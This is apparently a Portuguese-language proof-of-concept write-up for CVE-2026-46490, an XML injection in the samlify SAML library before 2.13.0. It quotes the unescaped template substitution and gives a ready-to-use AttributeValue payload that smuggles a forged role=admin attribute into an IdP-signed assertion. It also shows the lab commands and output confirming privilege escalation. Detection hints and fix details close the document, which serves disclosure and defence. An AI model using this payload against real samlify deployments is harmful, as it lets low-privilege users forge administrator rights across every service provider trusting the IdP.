
CVE-2026-46490 — samlify <2.13.0 Injeção XML em SAML AttributeValue -> escalonamento de privilégios de asserção assinada. PoC autossuficiente, verificado e2e.
AttributeValue do samlify SAML → Escalação de Privilégiosamlify
< 2.13.0escapa substituições de template apenas em contextos de atributo. Um valor controlado pelo usuário (ex.:name) colocado em texto de elemento —<saml:AttributeValue>{Value}</saml:AttributeValue>— é inserido sem escape, então um usuário normal pode injetar elementos<saml:Attribute>extras (ex.:role=admin) em sua própria asserção SAML assinada pelo IdP. Como a injeção ocorre antes da assinatura, a verificação de assinatura do Provedor de Serviço passa e ele consome os atributos forjados como autoritativos.
src/libsaml.ts substitui placeholders {tag} através de replaceTagsByValue → escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- element text: NO escaping
};
}
A regex captura um opcional " precedente como quote. No contexto de atributo (Name="{Name}"), quote é definido e o valor é escapado com xmlEscape; em texto de elemento (>{attrEmail}<) não há aspas precedentes, então o valor é emitido literalmente.
O template de atributo padrão coloca o valor no texto do elemento:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Assim, um valor de atributo controlado pelo invasor contendo </> injeta XML bruto.
O invasor define seu próprio atributo de perfil (aqui email) como:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Isso fecha o atributo email, adiciona um atributo role=admin forjado, e reabre um atributo descartável para que o final do template </saml:AttributeValue></saml:Attribute> permaneça balanceado. O IdP então assina a asserção — cobrindo o atributo forjado. Um SP compatível com os padrões valida a assinatura (válida) e lê role=admin.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
Output:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
O PoC aciona o próprio IdP do samlify (createLoginResponse, que realiza a substituição vulnerável replaceTagsByValue e assina) e o SP (parseLoginResponse, que valida a assinatura e extrai atributos). O SP exibe role: "admin" — um atributo que o invasor forjou, não um que o IdP pretendia emitir.
Qualquer usuário que possa influenciar um de seus próprios valores de atributo SAML (email, nome de exibição, …) em um IdP baseado em samlify pode criar uma asserção validamente assinada contendo atributos adicionais arbitrários — associação a grupos/papéis, direitos, flags isAdmin — e escalar privilégios em todo SP que confia no IdP. A validação de assinatura SAML não ajuda: a falsificação está dentro do escopo assinado.
Inspecione asserções emitidas/consumidas em busca de valores de atributo contendo marcação XML (</saml:AttributeValue>, <saml:Attribute), e para asserções com mais elementos <saml:Attribute> do que o template do IdP define.
Veja ANALYSIS.md para a regex de substituição, a heurística de aspas e o patch.
| CVE | CVE-2026-46490 |
| Aviso | GHSA-34r5-q4jw-r36m |
| Afetado | samlify < 2.13.0 |
| Corrigido | 2.13.0 |
| Classe | CWE-91 (Injeção XML) → escalação de privilégio |
| CVSS | 8.8 (Alto) |
| Autenticação | Usuário autenticado com privilégios baixos (controla um de seus próprios valores de atributo) |
| Status | CONFIRMADO — cadeia completa IdP→SP reproduzida com [email protected] |